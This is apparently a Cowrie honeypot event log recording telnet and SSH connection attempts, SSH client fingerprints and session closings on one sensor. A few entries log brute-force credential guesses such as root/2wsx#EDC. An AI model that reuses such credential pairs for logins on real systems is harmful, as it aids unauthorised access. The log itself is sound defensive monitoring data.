{"eventid":"cowrie.session.closed","duration":30.49150013923645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:39.214506Z","src_ip":"144.79.133.145","session":"0cbece64bcb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":57566,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d6103feac4","protocol":"telnet","message":"New connection: 162.252.82.70:57566 (10.17.0.5:23) [session: 01d6103feac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:42.100588Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":57576,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b4c7adcec0","protocol":"telnet","message":"New connection: 162.252.82.70:57576 (10.17.0.5:23) [session: 77b4c7adcec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:42.104488Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa352731e32e","protocol":"telnet","message":"New connection: 64.112.192.18:44644 (10.17.0.5:23) [session: fa352731e32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:42.773557Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":57578,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e20ba98666f","protocol":"telnet","message":"New connection: 162.252.82.70:57578 (10.17.0.5:23) [session: 6e20ba98666f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:47.234882Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":45338,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9fb81a7a51d","protocol":"telnet","message":"New connection: 69.175.86.26:45338 (10.17.0.5:23) [session: e9fb81a7a51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:48.238534Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6369aace70","protocol":"telnet","message":"New connection: 64.112.192.18:45974 (10.17.0.5:23) [session: 2b6369aace70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:49.282930Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41206,"dst_ip":"159.203.135.109","dst_port":22,"session":"89749beb4f97","protocol":"ssh","message":"New connection: 159.203.92.129:41206 (159.203.135.109:22) [session: 89749beb4f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:51.046779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:51.051753Z","src_ip":"159.203.92.129","session":"89749beb4f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:51.060567Z","src_ip":"159.203.92.129","session":"89749beb4f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcd","password":"abcd123","message":"login attempt [abcd/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:51.083473Z","src_ip":"159.203.92.129","session":"89749beb4f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:52.090842Z","src_ip":"159.203.92.129","session":"89749beb4f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48726201057434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:52.233884Z","src_ip":"144.79.133.145","session":"8850c53c97b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":44967,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba78ed4e0a23","protocol":"telnet","message":"New connection: 199.250.223.224:44967 (10.17.0.5:23) [session: ba78ed4e0a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:53.042600Z"}
{"eventid":"cowrie.session.closed","duration":31.134652853012085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:54.246858Z","src_ip":"144.126.156.251","session":"943184973943","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102597951889038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:55.106728Z","src_ip":"162.252.82.70","session":"4fc0bee8ea03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566482543945312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:55.147445Z","src_ip":"114.142.160.98","session":"7dec0d465d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":60906,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e5d7f13d65","protocol":"telnet","message":"New connection: 198.50.106.251:60906 (10.17.0.5:23) [session: 02e5d7f13d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:57.897275Z"}
{"eventid":"cowrie.session.closed","duration":30.954514980316162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:08:59.135664Z","src_ip":"74.115.209.253","session":"6afe86f3910c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873589515686035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:01.244664Z","src_ip":"64.112.192.18","session":"4466a0deaef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":48412,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f31cc452d70","protocol":"telnet","message":"New connection: 64.112.192.18:48412 (10.17.0.5:23) [session: 3f31cc452d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.319803Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":48182,"dst_ip":"10.17.0.5","dst_port":23,"session":"db7a913d3fdd","protocol":"telnet","message":"New connection: 15.204.172.25:48182 (10.17.0.5:23) [session: db7a913d3fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.395057Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":36496,"dst_ip":"159.203.135.109","dst_port":22,"session":"66ced38781ff","protocol":"ssh","message":"New connection: 34.39.58.191:36496 (159.203.135.109:22) [session: 66ced38781ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.535321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.541531Z","src_ip":"34.39.58.191","session":"66ced38781ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.619098Z","src_ip":"34.39.58.191","session":"66ced38781ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":45942,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6dbe4d0291e","protocol":"telnet","message":"New connection: 114.142.160.98:45942 (10.17.0.5:23) [session: c6dbe4d0291e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.699071Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc654321","message":"login attempt [root/abc654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:02.951187Z","src_ip":"34.39.58.191","session":"66ced38781ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.880732536315918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:03.399346Z","src_ip":"114.142.160.98","session":"d44c377c80d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":45956,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fa5cdce1e64","protocol":"telnet","message":"New connection: 114.142.160.98:45956 (10.17.0.5:23) [session: 5fa5cdce1e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:03.531363Z"}
{"eventid":"cowrie.session.closed","duration":30.998063325881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:03.854302Z","src_ip":"198.50.106.251","session":"64098fb7539e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:04.031528Z","src_ip":"34.39.58.191","session":"66ced38781ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":60886,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8a8df287c03","protocol":"telnet","message":"New connection: 162.252.82.70:60886 (10.17.0.5:23) [session: f8a8df287c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:04.109538Z"}
{"eventid":"cowrie.session.closed","duration":30.82503032684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:04.167353Z","src_ip":"114.142.160.98","session":"65528eaaa081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540162324905396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:05.125507Z","src_ip":"41.76.108.14","session":"3ca8c15c7927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":36642,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40f32e5abc4","protocol":"telnet","message":"New connection: 41.76.108.14:36642 (10.17.0.5:23) [session: e40f32e5abc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:06.670930Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":33512,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e42d82cc8d3","protocol":"telnet","message":"New connection: 198.50.106.251:33512 (10.17.0.5:23) [session: 3e42d82cc8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:06.841864Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"d30bde25f649","protocol":"telnet","message":"New connection: 66.223.49.88:37000 (10.17.0.5:23) [session: d30bde25f649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:07.133795Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.7.92","src_port":50006,"dst_ip":"10.17.0.5","dst_port":23,"session":"25be4ad8cb9b","protocol":"telnet","message":"New connection: 20.244.7.92:50006 (10.17.0.5:23) [session: 25be4ad8cb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:09.583735Z"}
{"eventid":"cowrie.session.closed","duration":30.994372129440308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:09.795436Z","src_ip":"198.50.106.251","session":"b1b39427442e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"831e55cb8c22","protocol":"telnet","message":"New connection: 209.145.49.9:52654 (10.17.0.5:23) [session: 831e55cb8c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:10.325185Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":36644,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c961e57aa74","protocol":"telnet","message":"New connection: 41.76.108.14:36644 (10.17.0.5:23) [session: 1c961e57aa74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:10.565997Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":38952,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c793256974","protocol":"telnet","message":"New connection: 114.142.160.98:38952 (10.17.0.5:23) [session: a4c793256974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:11.830706Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":60158,"dst_ip":"10.17.0.5","dst_port":23,"session":"c004e85d65ba","protocol":"telnet","message":"New connection: 198.38.81.53:60158 (10.17.0.5:23) [session: c004e85d65ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:11.847105Z"}
{"eventid":"cowrie.session.closed","duration":30.91902470588684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:13.019401Z","src_ip":"162.252.82.70","session":"01d6103feac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92181158065796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:13.026179Z","src_ip":"162.252.82.70","session":"77b4c7adcec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606544733047485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:13.379999Z","src_ip":"64.112.192.18","session":"fa352731e32e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50156,"dst_ip":"159.203.135.109","dst_port":22,"session":"412f54918499","protocol":"ssh","message":"New connection: 43.160.206.186:50156 (159.203.135.109:22) [session: 412f54918499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:15.590915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:15.596034Z","src_ip":"43.160.206.186","session":"412f54918499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":34198,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ded8f031a1e","protocol":"telnet","message":"New connection: 198.50.106.251:34198 (10.17.0.5:23) [session: 1ded8f031a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:15.777149Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:15.842593Z","src_ip":"43.160.206.186","session":"412f54918499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":53504,"dst_ip":"10.17.0.5","dst_port":23,"session":"718c95015f33","protocol":"telnet","message":"New connection: 209.145.49.9:53504 (10.17.0.5:23) [session: 718c95015f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:16.107261Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"115d8bc34e16","protocol":"telnet","message":"New connection: 74.115.209.253:54244 (10.17.0.5:23) [session: 115d8bc34e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:16.220059Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx#EDC","message":"login attempt [root/2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:16.858632Z","src_ip":"43.160.206.186","session":"412f54918499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.856324434280396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:18.091096Z","src_ip":"162.252.82.70","session":"6e20ba98666f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:18.109310Z","src_ip":"43.160.206.186","session":"412f54918499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":60168,"dst_ip":"10.17.0.5","dst_port":23,"session":"3962cd299bf7","protocol":"telnet","message":"New connection: 198.38.81.53:60168 (10.17.0.5:23) [session: 3962cd299bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:18.447389Z"}
{"eventid":"cowrie.session.closed","duration":30.792818784713745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:19.031201Z","src_ip":"69.175.86.26","session":"e9fb81a7a51d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95092487335205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:20.233696Z","src_ip":"64.112.192.18","session":"2b6369aace70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":53724,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f95b686c898","protocol":"telnet","message":"New connection: 41.76.108.14:53724 (10.17.0.5:23) [session: 6f95b686c898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:20.593338Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":49798,"dst_ip":"10.17.0.5","dst_port":23,"session":"9516a99de9aa","protocol":"telnet","message":"New connection: 114.142.160.98:49798 (10.17.0.5:23) [session: 9516a99de9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:20.605137Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":54224,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6a1fabc55f","protocol":"telnet","message":"New connection: 209.145.49.9:54224 (10.17.0.5:23) [session: 8b6a1fabc55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:21.147238Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":54524,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ddf78d813ea","protocol":"telnet","message":"New connection: 209.145.49.9:54524 (10.17.0.5:23) [session: 8ddf78d813ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:23.083039Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":55798,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4b1c7b57e43","protocol":"telnet","message":"New connection: 74.115.209.253:55798 (10.17.0.5:23) [session: b4b1c7b57e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:23.197401Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":39316,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2846c95a856","protocol":"telnet","message":"New connection: 198.38.81.53:39316 (10.17.0.5:23) [session: d2846c95a856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:23.522953Z"}
